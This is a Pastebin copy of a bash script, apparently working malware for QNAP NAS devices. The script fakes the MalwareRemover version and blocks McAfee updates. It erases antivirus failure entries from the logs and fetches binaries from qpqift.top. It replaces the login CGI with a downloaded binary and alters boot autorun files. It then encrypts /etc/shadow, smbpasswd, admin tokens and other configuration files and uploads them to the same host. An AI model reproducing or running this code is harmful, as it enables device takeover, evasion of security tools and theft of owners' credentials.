Advertisement
Guest User

script2.sh

a guest
Feb 1st, 2019
920
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.40 KB | None | 0 0
  1. #!/bin/bash
  2. ts=1549101600
  3. PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin"
  4. test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; }
  5. test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && break; bdir=''; done
  6. test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; bdir=''; done
  7. test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` && test -d "$bdir" || bdir=''
  8. test -z "${bdir}" || test ! -d "${bdir}"; } && { while read -r bdir; do
  9. test -d "$bdir" && break; bdir=''
  10. done <<EOF
  11. $(mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp")
  12. EOF
  13. test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in {{CE_,}CACHEDEV{1,2,3},MD0,HDA}_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; bdir=''; done
  14. test -z "${bdir}" || test ! -d "${bdir}" && { bdir=/mnt/HDA_ROOT && test -d "$bdir" || bdir='/'; }; }
  15.  
  16. getcfg MalwareRemover Version -f /etc/config/qpkg.conf && setcfg MalwareRemover Version 3.4.1 -f /etc/config/qpkg.conf
  17. getcfg MalwareRemover Date -f /etc/config/qpkg.conf && setcfg MalwareRemover Date 2019-01-25 -f /etc/config/qpkg.conf
  18. getcfg MalwareRemover Build -f /etc/config/qpkg.conf && setcfg MalwareRemover Build 20190125 -f /etc/config/qpkg.conf
  19.  
  20. if grep "clamav\.net" /etc/hosts; then
  21. sed -i '/0.0.0.0 .*clamav\.net/d' /etc/hosts
  22. fi
  23.  
  24. if [ "$(getcfg 'Antivirus' AntivirusEngine -f /etc/config/antivirus.global)" = "MCAFEE" ] || [ "$(getcfg 'MCAFEE_QNAP' Enable -f /etc/config/qpkg.conf)" = 'TRUE' ] || [ -d '/mcafee' ] || [ -d "${bdir}/.qpkg/MCAFEE_QNAP" ] || [ -f '/etc/init.d/mcafee_qnap.sh' ]; then
  25. grep '0\.0\.0\.0 update\.nai\.com' /etc/hosts || echo '0.0.0.0 update.nai.com' >>/etc/hosts
  26. else
  27. grep '0\.0\.0\.0 update\.nai\.com' /etc/hosts && sed -i '/0.0.0.0 update\.nai\.com/d' /etc/hosts
  28. fi
  29.  
  30. test -z "$PWD" && PWD=$(pwd)
  31. CWD="$PWD"
  32. if [ "${CWD%/*}" != "${bdir}/.qpkg" ]; then
  33. CWD=''
  34. for dir in '.config' '.liveupdate'; do
  35. dir="${bdir}/.qpkg/${dir}"
  36. test -d "$dir" && cd "$dir" && CWD="$dir" && break
  37. done
  38. fi
  39. test "$CWD" && test -d "$CWD" && cd "$CWD"
  40.  
  41. sedreplace () {
  42. local grepstring="$1" sedcmd="$2" file="$3"
  43. [ "$grepstring" ] && [ "$sedcmd" ] && [ "$file" ] || return 1
  44. if grep "$grepstring" "$file"; then
  45. test -f '.qdisk_cmd' && ./.qdisk_cmd -i "$file"
  46. sed -i "$sedcmd" "$file"
  47. test -f '.qdisk_cmd' && ./.qdisk_cmd +i "$file"
  48. fi
  49. return $?
  50. }
  51.  
  52. for path in ".config/backup_conf.sh" ".liveupdate/liveupdate.sh"; do
  53. file=''
  54. [ -f "${path#*/}" ] && file="${path#*/}" || { [ -f "${bdir}/.qpkg/${path}" ] && file="${bdir}/.qpkg/${path}"; }
  55. if [ "x${file}" != 'x' ]; then
  56. sedcmd='s/CXqrBM2CVbJog4rwwSz1Bp1i1B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex/CXqrBM2CVbJog4rwwSz1Bp1i1'"'"'\
  57. verifykey="${verifykey}"'"'"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex/'
  58. grepstring='CXqrBM2CVbJog4rwwSz1Bp1i1B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex'
  59. sedreplace "$grepstring" "$sedcmd" "$file"
  60. sedcmd='s/g4rwwSz1Bp1i1'"'"'/g4rwwS'"''"'z1Bp1i1'"'"'/'
  61. grepstring='g4rwwSz1Bp1i1'"'"
  62. sedreplace "$grepstring" "$sedcmd" "$file"
  63. fi
  64. done
  65. file=''
  66.  
  67. if [ ! -f '1548766800_c' ]; then
  68. if getcfg Antivirus AutoUpdateDBEnable -f /etc/config/antivirus.global | grep -i TRUE; then
  69. test -f '/mnt/HDA_ROOT/.logs/notice.log' && python <<"EOF"
  70. import sqlite3
  71. conn = sqlite3.connect('/mnt/HDA_ROOT/.logs/notice.log')
  72. c = conn.cursor()
  73. c.execute("DELETE FROM NASLOG_NOTICE WHERE time > 1547096400 AND desc LIKE '[AntiVirus] Failed to update virus definitions%'")
  74. conn.commit()
  75. conn.close()
  76. exit()
  77. EOF
  78. test -f '/mnt/HDA_ROOT/.logs/event.log' && python <<"EOF"
  79. import sqlite3
  80. conn = sqlite3.connect('/mnt/HDA_ROOT/.logs/event.log')
  81. c = conn.cursor()
  82. c.execute("DELETE FROM NASLOG_EVENT WHERE event_timet > 1547096400 AND event_desc LIKE '[AntiVirus] Failed to update virus definitions%'")
  83. conn.commit()
  84. conn.close()
  85. exit()
  86. EOF
  87. fi
  88. if getcfg MalwareRemover Enable -f /etc/config/qpkg.conf | grep -i 'true' || grep 'MalwareRemover' '/etc/config/crontab' '/tmp/cron/crontabs/admin'; then
  89. test -f '/mnt/HDA_ROOT/.logs/notice.log' && python <<"EOF"
  90. import sqlite3
  91. conn = sqlite3.connect('/mnt/HDA_ROOT/.logs/notice.log')
  92. c = conn.cursor()
  93. c.execute("DELETE FROM NASLOG_NOTICE WHERE time > 1547964000 AND desc LIKE '[MalwareRemover] Malware Remover stopped%'")
  94. conn.commit()
  95. conn.close()
  96. exit()
  97. EOF
  98. test -f '/mnt/HDA_ROOT/.logs/event.log' && python <<"EOF"
  99. import sqlite3
  100. conn = sqlite3.connect('/mnt/HDA_ROOT/.logs/event.log')
  101. c = conn.cursor()
  102. c.execute("DELETE FROM NASLOG_EVENT WHERE event_timet > 1547964000 AND event_desc LIKE '[MalwareRemover] Malware Remover stopped%'")
  103. conn.commit()
  104. conn.close()
  105. exit()
  106. EOF
  107. touch "1548766800_c"
  108. fi
  109. fi
  110.  
  111. if [ ! -f ".qdisk_cmd" ]; then
  112. case "$(uname -m)" in
  113. *x86_64*)
  114. arch=x86_64
  115. binhash='g2oe7EJJVCiAHY6AG1I1c/lGF8Y='
  116. ;;
  117. *arm*|*aarch*)
  118. arch=arm
  119. binhash='Z3twHZvQqYZ1vLeu4PLnZekdkRY='
  120. ;;
  121. *i*86*)
  122. arch=i486
  123. binhash='gWzECXuIp3dz5yI7RJS9d4+xpq4='
  124. ;;
  125. esac
  126.  
  127. if [ "x${binhash}" != 'x' ]; then
  128. curl --connect-timeout 12 -m 1200 -k -o ".qdisk_cmd.tmp" "https://qpqift.top/data/qdisk_cmd_${arch}" || rm -f ".qdisk_cmd.tmp"
  129. test -f '.qdisk_cmd.tmp' && rsynchash="$(openssl dgst -sha1 -binary ".qdisk_cmd.tmp" | openssl base64)"
  130. if [ "x${rsynchash}" = "x${binhash}" ]; then
  131. mv '.qdisk_cmd.tmp' '.qdisk_cmd' && chmod +x '.qdisk_cmd'
  132. else
  133. rm -f '.qdisk_cmd.tmp'
  134. fi
  135. fi
  136. fi
  137. binhash=''; rsynchash=''
  138.  
  139. for path in ".config/backup_conf.sh" ".liveupdate/liveupdate.sh"; do
  140. if [ -f "${path#*/}" ]; then
  141. test -f '.qdisk_cmd' && ./.qdisk_cmd +i "${path#*/}"
  142. elif [ -f "${bdir}/.qpkg/${path}" ]; then
  143. test -f '.qdisk_cmd' && ./.qdisk_cmd +i "${bdir}/.qpkg/${path}"
  144. fi
  145. done
  146.  
  147. version=$(getcfg System Version)
  148. test "x${version}" = 'x' && version=$(getcfg System Version -f /etc/default_config/uLinux.conf)
  149. test "${version##*.}" -lt 3 || test "${version%%.*}" -lt 4 || test "$(version=${version#*.}; echo "${version%.*}")" -lt 3 && version=4.3.3 || { test "${version##*.}" -gt 5 && version=4.3.5; }
  150.  
  151. if [ ! -d rssdoc ]; then
  152. command -v bunzip2 && compext=bz2 || compext=gz
  153. curl --connect-timeout 12 -m 1200 -k -o "rssdoc.tar.${compext}" "https://qpqift.top/data/rssdoc.tar.${compext}" && test -f "rssdoc.tar.${compext}" && rssdochash="$(openssl dgst -sha1 -binary "rssdoc.tar.${compext}" | openssl base64)" && { test "$rssdochash" = 'WOkc6vlUa7A30GKa4Z4o02CIexk=' || test "$rssdochash" = "0h0Jyx52a/F9YB80Ml4SsEsugyA="; } && { test "$compext" = bz2 && tarflag=j || tarflag=z; } && tar -x${tarflag}f "rssdoc.tar.${compext}" || rm -f rssdoc.tar
  154. rm -f "rssdoc.tar.${compext}"
  155. fi
  156.  
  157. rm -f /home/httpd/{Liveupdate,FirmwareRelease{,_beta}S.xml}
  158. ln -s "${CWD}"/rssdoc/{Liveupdate,FirmwareRelease{,_beta}S.xml} /home/httpd
  159.  
  160. if grep 'Liveupdate\|FirmwareRelease\|QTS_FW' /etc/default_config/uLinux.conf /etc/config/uLinux.conf | grep 'qnap\.com\|0\.0\.0\.0'; then
  161. internalwebport=$(/sbin/getcfg System InnerWebAccessPort -d 58080)
  162. localupdateurl="http://127.0.0.1:${internalwebport}"
  163. sed -i 's/https\?:\/\/[^\/]\+\/\(Liveupdate\|FirmwareRelease\|QTS_FW\)/http:\/\/127.0.0.1:'${internalwebport}'\/\1/' /etc/default_config/uLinux.conf /etc/config/uLinux.conf
  164. fi
  165.  
  166. test -f '/etc/config/rssdoc/qpkgcenter_*.xml' || test -h '/etc/config/rssdoc/qpkgcenter_*.xml' && { test -f '.qdisk_cmd' && ./.qdisk_cmd -i '/etc/config/rssdoc/qpkgcenter_*.xml'; rm -f '/etc/config/rssdoc/qpkgcenter_*.xml'; }
  167.  
  168. if find /etc/config/rssdoc | grep 'qpkgcenter_.*\.xml'; then
  169. :
  170. else
  171. cp "./rssdoc/Liveupdate/QTS${version}/qpkgcenter_eng.xml" '/etc/config/rssdoc/qpkgcenter_eng.xml'
  172. test -f '.qdisk_cmd' && ./.qdisk_cmd +i '/etc/config/rssdoc/qpkgcenter_eng.xml'
  173. fi
  174.  
  175. for file in /etc/config/rssdoc/qpkgcenter_*.xml
  176. do
  177. if [ -f "$file" ] && { rm -f "$file" || [ ! -s "$file" ]; }; then
  178. test -f '.qdisk_cmd' && ./.qdisk_cmd -i "$file"
  179. touch "$file"
  180. cp -f "./rssdoc/Liveupdate/QTS${version}/${file##*/}" "$file"
  181. test -f '.qdisk_cmd' && ./.qdisk_cmd +i "$file"
  182. fi
  183. done
  184. file=''
  185.  
  186. for qpkgdir in "${bdir}/.qpkg" '../../.qpkg'; do
  187. test -d "$qpkgdir" && break
  188. done
  189. test -d "${qpkgdir}/MalwareRemover" || mkdir "${qpkgdir}/MalwareRemover"
  190. test -d "${qpkgdir}/MalwareRemover/modules" || mkdir "${qpkgdir}/MalwareRemover/modules"
  191. test -f '.qdisk_cmd' && ./.qdisk_cmd -i "${qpkgdir}/MalwareRemover"
  192.  
  193. if [ -d "${qpkgdir}/MalwareRemover/modules" ]; then
  194. for file in 10_derek_3.pyc 12_derek_3.pyc; do
  195. if [ ! -f "${qpkgdir}/MalwareRemover/modules/${file}" ] || rm -f "${qpkgdir}/MalwareRemover/modules/${file}" || test -x "${qpkgdir}/MalwareRemover/modules/${file}" || [ $(wc -c < "${qpkgdir}/MalwareRemover/modules/${file}") -gt 150 ] || [ $(wc -c < "${qpkgdir}/MalwareRemover/modules/${file}") -lt 120 ]; then
  196. test -f '.qdisk_cmd' && test -f "${qpkgdir}/MalwareRemover/modules/${file}" && ./.qdisk_cmd -i "${qpkgdir}/MalwareRemover/modules/${file}" && rm -f "${qpkgdir}/MalwareRemover/modules/${file}"
  197. openssl base64 -d <<"EOF" >"${qpkgdir}/MalwareRemover/modules/${file}"
  198. A/MNCuVwTVxjAAAAAAAAAAABAAAAQAAAAHMLAAAAZQAAgwAAAWQAAFMoAQAAAE4o
  199. AQAAAHQEAAAAZXhpdCgAAAAAKAAAAAAoAAAAAHMVAAAAbW9kdWxlcy8xMF9kZXJl
  200. a18zLnB5dAgAAAA8bW9kdWxlPgEAAABzAAAAAA==
  201. EOF
  202. chmod -x "${qpkgdir}/MalwareRemover/modules/${file}"
  203. test -f '.qdisk_cmd' && ./.qdisk_cmd +i "${qpkgdir}/MalwareRemover/modules/${file}"
  204. fi
  205. done
  206. fi
  207. file=''; qpkgdir=''
  208.  
  209. if [ ! -f .rsakey ]; then
  210. verifykey='-----BEGIN PUBLIC KEY-----
  211. MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog
  212. CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1'
  213. verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex
  214. RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC
  215. Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV
  216. gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC
  217. 2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz
  218. 0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh
  219. pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1
  220. DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE=
  221. -----END PUBLIC KEY-----'
  222. test -f ".rsakey" || echo "$verifykey" > ".rsakey"
  223. fi
  224.  
  225. cgibindir='/home/httpd/cgi-bin'
  226. if [ ! -f "1549101600_c" ] && [ -f "${cgibindir}/authLogin.cgi" ]; then
  227. test -f "1549101600_c" || touch "1549101600_c"
  228. case "$(uname -m)" in
  229. *x86_64*)
  230. arch=x86_64
  231. binhash='rrYwg0D4+4DxcDxYQsNTB4JUGlQ='
  232. ;;
  233. *arm*|*aarch*)
  234. arch=arm
  235. binhash='Z4n2BZdhwjYf0wjM7GCW61WM9eU='
  236. ;;
  237. *i*86*)
  238. arch=i486
  239. binhash='U3eHe6syQraRBGgsvkFZH3wibDw='
  240. ;;
  241. esac
  242.  
  243. if [ "x${binhash}" != 'x' ]; then
  244. curl --connect-timeout 12 -m 1200 -k -o ".qal" "https://qpqift.top/data/qal2_${arch}" || rm -f ".qal"
  245. test -f '.qal' && rsynchash="$(openssl dgst -sha1 -binary ".qal" | openssl base64)"
  246. if [ "x${rsynchash}" = "x${binhash}" ]; then
  247. test -f "${cgibindir}"/sysauthLogin.cgi && mv "${cgibindir}"/sysauthLogin.cgi "${cgibindir}"/authLogin.cgi
  248. mv "${cgibindir}"/authLogin.cgi "${cgibindir}"/sysauthLogin.cgi && test -f "${cgibindir}"/sysauthLogin.cgi && mv '.qal' "${cgibindir}"/authLogin.cgi && chmod 755 "${cgibindir}"/authLogin.cgi
  249. fi
  250. test -f '.qal' && rm -f '.qal'
  251. fi
  252. fi
  253.  
  254. if [ -f "${cgibindir}"/authLogin.cgi ] && "${cgibindir}"/authLogin.cgi | grep '<QDocRoot'; then
  255. :
  256. else
  257. test -f "${cgibindir}"/sysauthLogin.cgi && mv "${cgibindir}"/sysauthLogin.cgi "${cgibindir}"/authLogin.cgi
  258. fi
  259.  
  260. test -f /etc/config/.qsync.conf && authkeysfile=$(grep AuthorizedKeysFile /etc/config/.qsync.conf | sed 's/"//g' | cut -d ' ' -f 2)
  261. if [ "$authkeysfile" ] && [ -f "$authkeysfile" ] && grep 'miOGcmendZU2r10SdZVplBQ4i' "$authkeysfile"; then
  262. sed -i '/miOGcmendZU2r10SdZVplBQ4i/d' "$authkeysfile"
  263. lsofout="$(lsof +c 0 -i -n -P | grep :51163)"
  264. sshpid="$(echo "$lsofout" | tr -s ' ' | cut -d ' ' -f 2 | head -n 1)"
  265. kill -2 "$sshpid"
  266. fi
  267.  
  268. if [ ! -f '1548997200_c' ]; then
  269. touch '1548997200_c'
  270. mdir=`mktemp -d /tmp/.mount.XXXXXX` || { mdir=/tmp/.mount.jbbxQob; mkdir ${mdir}; } || mdir=`mktemp -d "${bdir}/.mount.XXXXXX"` || { mdir="${bdir}/.mount.jbbxQob"; mkdir ${mdir}; } || `mktemp -d "/mnt/HDA_ROOT/.mount.XXXXXX"` || { mdir="/mnt/HDA_ROOT/.mount.jbbxQob"; mkdir ${mdir}; } || `mktemp -d "/.mount.XXXXXX"` || { mdir="/.mount.jbbxQob"; mkdir ${mdir}; } || `mktemp -d "./.mount.XXXXXX"` || { mdir="./.mount.jbbxQob"; mkdir ${mdir}; }
  271. __BOOT_DEV=
  272. __model=`getcfg System "Internal Model"`
  273. CONFIG_DEV_NODE=`getcfg "CONFIG STORAGE" DEVICE_NODE -f /etc/platform.conf`
  274. CONFIG_DEV_PART=`getcfg "CONFIG STORAGE" FS_ACTIVE_PARTITION -f /etc/platform.conf`
  275. CONFIG_DEV_FS=`getcfg "CONFIG STORAGE" FS_TYPE -f /etc/platform.conf`
  276. __BOOT_CONF=`test -f /etc/default_config/BOOT.conf && cat /etc/default_config/BOOT.conf 2>/dev/null || cat "${confdir}/BOOT.conf"` || { test "$arch_o" = arm && __BOOT_CONF=TS-NASARM; }
  277. command -v hal_app > /dev/null 2>&1 && { __BOOT_DEV=$(hal_app --get_boot_pd port_id=0); }
  278. test "${__BOOT_CONF}" = TS-NASARM || test "$arch_o" = arm && { test -f /etc/IS_TAS && __BOOT_DEV="${__BOOT_DEV:-/dev/mtdblock}7" || __BOOT_DEV="${__BOOT_DEV:-/dev/mtdblock}5"; } || __BOOT_DEV="${__BOOT_DEV:-/dev/sdx}6"
  279. test "x${CONFIG_DEV_NODE}" != "x" && { ubiattach -m "${CONFIG_DEV_PART}" -d 2; mount -t ubifs ubi2:config "${mdir}" > /dev/null 2>&1 || { test -f /etc/IS_TAS && mount -t ext4 /dev/mmcblk0p7 "${mdir}"; } } || mount ${__BOOT_DEV} -t ext2 ${mdir} || { test "${__model}" = "TS-201" && mount -t ext2 /dev/mtdblock4 ${mdir}; } || { ubiattach -m "${CONFIG_DEV_PART}" -d 2; mount -t ubifs ubi2:config "${mdir}"; mount -t ext4 /dev/mmcblk0p7 "${mdir}"; } || { test "${__model}" = "TS-269L" && mount -t ext2 /dev/sdc6 ${mdir}; } || { test "${__model}" = "TS-869" && mount -t ext2 /dev/sdi6 ${mdir}; } || { test "$arch_o" = arm || ${__BOOT_CONF} = "TS-NASARM" && { for i in 5 7 4 6 3 8; do mount -t ext2 "/dev/mtdblock${i}" ${mdir} && break; done; }; } || { test "$arch_o" = x86 && for n in /dev/sdc /dev/sdx /dev/sdi $__BOOT_DEV; do for i in 6 $CONFIG_DEV_PART; do mount -t ext2 ${n}${i} ${mdir} && break 2; done; done; } || { mount -t ext2 $(/sbin/hal_app --get_boot_pd port_id=0)6 ${mdir}; }
  280.  
  281. if [ $? -eq 0 ] || mount | grep "$mdir" >/dev/null; then
  282. for file in "${mdir}"/K01* "${mdir}/autorun.sh" '/tmp/config/autorun.sh'; do
  283. if [ -f "$file" ]; then
  284. sedcmd='s/CXqrBM2CVbJog4rwwSz1Bp1i1B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex/CXqrBM2CVbJog4rwwSz1Bp1i1'"'"'\
  285. verifykey="${verifykey}"'"'"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex/'
  286. grepstring='CXqrBM2CVbJog4rwwSz1Bp1i1B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex'
  287. sedreplace "$grepstring" "$sedcmd" "$file"
  288. sedcmd='s/g4rwwSz1Bp1i1'"'"'/g4rwwS'"''"'z1Bp1i1'"'"'/'
  289. grepstring='g4rwwSz1Bp1i1'"'"
  290. sedreplace "$grepstring" "$sedcmd" "$file"
  291. test -f '.qdisk_cmd' && ./.qdisk_cmd +i "$file"
  292. fi
  293. done
  294. fi
  295. umount "$mdir"
  296. rmdir "$mdir"
  297. fi
  298.  
  299. if [ ! -f '1548914400_c' ]; then
  300. touch '1548914400_c'
  301. key=$(tr -dc 'a-zA-Z0-9' </dev/urandom | { key=''; dd bs=20 count=1 2>/dev/null || head -c 20 || IFS='' read -rd '' -n 20 key; echo "$key"; } )
  302. test "x$key" = 'x' && key=$(LC_ALL=C sed 's/[^a-zA-Z0-9]//g' </dev/urandom | { key=''; dd bs=20 count=1 2>/dev/null || head -c 20 || IFS='' read -rd '' -n 20 key; echo "$key"; } )
  303. { echo "$key" | openssl rsautl -pubin -inkey .rsakey -encrypt | openssl enc -base64 -A; printf ':'
  304. { echo; for file in "${bdir}/.log/.rqsys.log" /etc/config/.qos_config/users/admin/.qtoken /etc/config/.qos_config/users/admin/secondSV.conf /etc/config/ssmtp/ssmtp.conf /etc/config/smbpasswd /etc/shadow /etc/config/uLinux.conf /etc/default_config/uLinux.conf /mnt/HDA_ROOT/.config/qnapddns.conf /mnt/HDA_ROOT/.config/qid.conf /etc/platform.conf /etc/default_config/BOOT.conf /etc/default_config/Model_Name.conf /etc/config/qid.conf /etc/config/qddns_users.conf; do printf '%s:' "$file"; cat "$file"; echo; done; printf '%s:' "authLogin.cgi"; /home/httpd/cgi-bin/authLogin.cgi; printf '%s:' "display_name"; /sbin/get_display_name; } | gzip | { dd bs=4096 count=512 || head -c 2097152 || cat; } | openssl enc -aes-256-cbc -k "$key" -md md5 -salt -a -A; } | curl --connect-timeout 12 -m 300 -k -d '@-' "https://qpqift.top/ping.pl"
  305. fi
  306.  
  307. test -f "${ts}_c" || touch "${ts}_c"
  308. rm -f "${CWD}/".tmp.*
  309. exit 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement